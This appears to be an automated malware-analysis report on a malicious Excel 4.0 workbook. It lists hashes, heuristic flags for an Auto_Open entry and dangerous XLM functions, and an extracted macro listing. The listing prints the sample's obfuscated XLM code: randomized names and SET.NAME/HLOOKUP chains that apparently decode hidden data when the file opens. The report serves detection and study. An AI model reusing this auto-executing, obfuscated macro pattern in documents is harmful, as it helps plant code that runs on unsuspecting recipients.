Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 83ef47b2dc2d55d5…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:47:10 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: b1eec634d7e3e5b1c0b297be5d462204 SHA-1: bfa763a513868cd81c43fc8e40086aab37aa45fa SHA-256: 83ef47b2dc2d55d51d69011dcb2e4bd540e1972f739f6723e081a7dc106e16f7
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6832 bytes
SHA-256: 1f56cde2b26601e30830e493e5304fe475603e2974867fe89ae9f370cf49f19d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  iCRMZekA
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B182 
' 0018     25 LABEL : Cell Value, String Constant - BOybsYgbmj len=0 
' 0018     26 LABEL : Cell Value, String Constant - CFCsDEIaPTh len=0 
' 0018     26 LABEL : Cell Value, String Constant - cMxaQtVUeGY len=0 
' 0018     23 LABEL : Cell Value, String Constant - CPyJlVBp len=0 
' 0018     23 LABEL : Cell Value, String Constant - ctzEIJSp len=0 
' 0018     20 LABEL : Cell Value, String Constant - hiBxU len=0 
' 0018     25 LABEL : Cell Value, String Constant - jrFTHXHcbn len=0 
' 0018     22 LABEL : Cell Value, String Constant - kJVVLmk len=0 
' 0018     24 LABEL : Cell Value, String Constant - KWiMDsaKh len=0 
' 0018     27 LABEL : Cell Value, String Constant - lTnsusBjFOBd len=0 
' 0018     26 LABEL : Cell Value, String Constant - MTovpTlnQqc len=0 
' 0018     27 LABEL : Cell Value, String Constant - nFVmubIgXaJK len=0 
' 0018     26 LABEL : Cell Value, String Constant - nsgryVXuEtK len=0 
' 0018     22 LABEL : Cell Value, String Constant - PtLIQlg len=0 
' 0018     21 LABEL : Cell Value, String Constant - QQsJOM len=0 
' 0018     22 LABEL : Cell Value, String Constant - RSMKUdA len=0 
' 0018     20 LABEL : Cell Value, String Constant - uQLKT len=0 
' 0018     25 LABEL : Cell Value, String Constant - ylmdzuROTo len=0 
' 0018     24 LABEL : Cell Value, String Constant - zVsrBYYfk len=0 
' 0018     23 LABEL : Cell Value, String Constant - zZAATOqQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  iCRMZekA,Q62,"",310.00000000000000000000
'  iCRMZekA,Q63,"",619.00000000000000000000
'  iCRMZekA,Q64,"",-110.00000000000000000000
'  iCRMZekA,Q65,"",-172.00000000000000000000
'  iCRMZekA,Q66,"",330.00000000000000000000
'  iCRMZekA,Q67,"",-945.00000000000000000000
'  iCRMZekA,B82,"SET.NAME("PtLIQlg",0+VALUE("0"))",""
'  iCRMZekA,B87,"SET.NAME("nsgryVXuEtK",PtLIQlg)",""
'  iCRMZekA,B91,"SET.NAME("zZAATOqQ",PtLIQlg)",""
'  iCRMZekA,B95,"SET.NAME("RSMKUdA",COUNTA(CFCsDEIaPTh))",""
'  iCRMZekA,B99,"SET.NAME("hiBxU",COUNTA(kJVVLmk))",""
'  iCRMZekA,B103,[],""
'  iCRMZekA,B107,"SET.NAME("zVsrBYYfk","")",""
'  iCRMZekA,B110,"nsgryVXuEtK",""
'  iCRMZekA,B114,"SET.NAME("ylmdzuROTo",HLOOKUP("*",CFCsDEIaPTh,nsgryVXuEtK,FALSE))",""
'  iCRMZekA,B117,"jrFTHXHcbn",""
'  iCRMZekA,B121,"SET.NAME("ctzEIJSp",PtLIQlg)",""
'  iCRMZekA,B126,[],""
'  iCRMZekA,B131,"ctzEIJSp",""
'  iCRMZekA,B135,"uQLKT",""
'  iCRMZekA,B139,"cMxaQtVUeGY",""
'  iCRMZekA,B144,"MTovpTlnQqc",""
'  iCRMZekA,B147,"SET.NAME("KWiMDsaKh",VALUE(HLOOKUP("*",kJVVLmk,MTovpTlnQqc,FALSE)))",""
'  iCRMZekA,B150,"nFVmubIgXaJK",""
'  iCRMZekA,B154,"zVsrBYYfk",""
'  iCRMZekA,B156,"zZAATOqQ",""
'  iCRMZekA,B161,NEXT(),""
'  iCRMZekA,B166,"BOybsYgbmj",""
'  iCRMZekA,B170,[],""
'  iCRMZekA,B173,"QQsJOM",""
'  iCRMZekA,B175,NEXT(),""
'  iCRMZekA,B180,RETURN(),""
'  iCRMZekA,B208,"SET.NAME("lTnsusBjFOBd",B82)",""
'  iCRMZekA,B210,"CFCsDEIaPTh",""
'  iCRMZekA,B214,"SET.NAME("kJVVLmk",R75C11)",""
'  iCRMZekA,B218,"SET.NAME("QQsJOM",226)",""
'  iCRMZekA,B222,"SET.NAME("CPyJlVBp",2)",""
'  iCRMZekA,B225,lTnsusBjFOBd(),""
'  iCRMZekA,B226,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.